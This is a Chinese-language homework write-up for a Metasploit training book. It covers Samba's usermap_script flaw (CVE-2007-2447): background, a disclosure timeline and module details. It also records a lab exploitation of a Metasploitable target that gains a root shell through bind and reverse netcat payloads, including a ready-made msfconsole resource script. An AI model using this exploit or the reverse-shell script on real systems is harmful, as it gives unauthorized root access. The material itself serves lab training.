《Metasploit渗透测试魔鬼训练营》第一章课后实践


一.通过搜索引擎丶安全漏洞信息库等各种渠道,搜集Samab服务Usermap_script安全漏洞的相关信息,画出该安全漏洞的生命周期图,标注各个重要事件点的日期,并提供详细的描述和链接。

1、什么是Samab服务

Samba,是种用来让UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS网络协议做链接的自由软件。第三版不仅可访问及分享SMB的文件夹及打印机,本身还可以集成入Windows Server的网域,扮演为网域控制站(Domain Controller)以及加入Active Directory成员。简而言之,此软件在Windows与UNIX系列操作系统之间搭起一座桥梁,让两者的资源可互通有无。

2、Username map script 是什么

- Samba协议的一个漏洞CVE-2007-2447,用户名映射脚本命令执行
- 影响Samba的3.0.20到3.0.25rc3 版本
- 当使用非默认的用户名映射脚本配置选项时产生
- 通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令

3、如何利用

1、使用metasploit框架
2、使用模块:/multi/samba/usermap_script

4、漏洞时间线

漏洞的时间线:
- 2007年5月7日:漏洞匿名披露到security@samba.org电子邮件列表中。
- 2007年5月7日:Samba的开发人员Gerald Carter开始响应这个漏洞。
- 2007年5月9日:Samba的开发者Jeremy Allison发布了补丁,用于iDefense测试。
- 2007年5月10日:向vendor-sec邮件列表发布通知。
- 2007年5月14日:公开漏洞信息。

重点是:在安全漏洞生命周期中,从安全漏洞被发现到厂商发布补丁程序用于修补该漏洞之前这段时间,被安全社区普遍地称为“0day”。

5、漏洞出处

https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script
https://www.samba.org/samba/security/CVE-2007-2447.html
msf6 > info exploit/multi/samba/usermap_script

       Name: Samba "username map script" Command Execution
     Module: exploit/multi/samba/usermap_script
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-05-14

Provided by:
  jduck 

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT   139              yes       The target port (TCP)

Payload information:
  Space: 1024

Description:
  This module exploits a command execution vulnerability in Samba 
  versions 3.0.20 through 3.0.25rc3 when using the non-default 
  "username map script" configuration option. By specifying a username 
  containing shell meta characters, attackers can execute arbitrary 
  commands. No authentication is needed to exploit this vulnerability 
  since this option is used to map usernames prior to authentication!

References:
  https://nvd.nist.gov/vuln/detail/CVE-2007-2447
  OSVDB (34700)
  http://www.securityfocus.com/bid/23972
  http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534
  http://samba.org/samba/security/CVE-2007-2447.html

二.对KaliLinus中的MetaSploit进行更新,找出MetaSploit渗透攻击模块的具体路径位置,
并利用LinuxShell命令统计出分别针对Windows2000、WindowsXP、WindowsServer2003、
WindowsVista、Windows7和WindowServer2008目标环境的渗透攻击模块数量。

对Kali中的Metasploit进行更新

更新钱需要先切换到root

sudo passwd root		设置一个新密码 
su root				切换到root用户下

新版的kali已经不支持使用msfupdate更新 应该直接使用apt进行更新

apt update
apt install metasploit-framework

你的网络或者下载源没什么问题这里就直接完事了

找出MetaSploit渗透攻击模块的具体路径位置
find / -type d -name exploits			在根目录找名字为exploits的文件夹
/usr/share/set/src/fasttrack/exploits
/usr/share/metasploit-framework/modules/exploits
/usr/share/metasploit-framework/data/exploits
/usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/rex-exploitation-0.1.28/data/exploits
/usr/share/exploitdb/exploits

查看当前目录包括子目录所有文件个数

$ ls -lR | grep "^-" | wc -l 
2201
R代表子目录
统计各模块数量
grep -lRi "windows xp"|wc -l         
497
-i忽略大小写

三.分别在一台Windows和Linux操作系统上安装MetaSploit软件,并运行MetaSploit完成针对Linux靶机
usermap_scrip漏洞的渗透攻击,尝试使用植入VNC图形化远程控制工具的攻击荷载,
成功获得Linux靶机的远程控制桌面.

因为作者渗透机用的是kali自带的无需安装,安装靶机

msf6 > search samba


msf6 > use exploit/multi/samba/usermap_script

msf6 exploit(multi/samba/usermap_script) > set payload payload/cmd/unix/bind_netcat

msf6 exploit(multi/samba/usermap_script) > show payloads

msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/bind_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST                   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(multi/samba/usermap_script) > set RHOST 10.10.10.254
RHOST => 10.10.10.254
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.10.10.254     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/bind_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  10.10.10.254     no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started bind TCP handler against 10.10.10.254:4444
[*] Command shell session 1 opened (10.10.10.128:37953 -> 10.10.10.254:4444 ) at 2022-03-11 01:18:39 -0500

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
whoami
root

四.使用msfcli命令行接口编写一个Shell脚本程序,实现用户只需要输入目标Linux靶机的ip地址
作为参数,就可以使用usermap_script漏洞渗透攻击模块,获得靶机的远程Shell访问。

msfcli早已取消,使用msfconsole代替,代码如下

# usermap.rc
use exploit/multi/samba/usermap_script
set payload cmd/unix/reverse_netcat
set RHOST 10.10.10.254
exploit

执行结果

└─$ msfconsole -r usermap.rc 
                                                  
 ______________________________________
/ it looks like you're trying to run a \
\ module                               /
 --------------------------------------
 \
  \
     __
    /  \
    |  |
    @  @
    |  |
    || |/
    || ||                                                                                                                                                  
    |\_/|                                                                                                                                                  
    \___/                                                                                                                                                  
                                                                                                                                                           

       =[ metasploit v6.1.27-dev                          ]
+ -- --=[ 2196 exploits - 1162 auxiliary - 400 post       ]
+ -- --=[ 596 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: You can use help to view all 
available commands

[*] Processing usermap.rc for ERB directives.
resource (usermap.rc)> use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
resource (usermap.rc)> set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
resource (usermap.rc)> set RHOST 10.10.10.254
RHOST => 10.10.10.254
resource (usermap.rc)> exploit
[*] Started reverse TCP handler on 10.10.10.128:4444 
[*] Command shell session 1 opened (10.10.10.128:4444 -> 10.10.10.254:56697 ) at 2022-03-11 02:30:08 -0500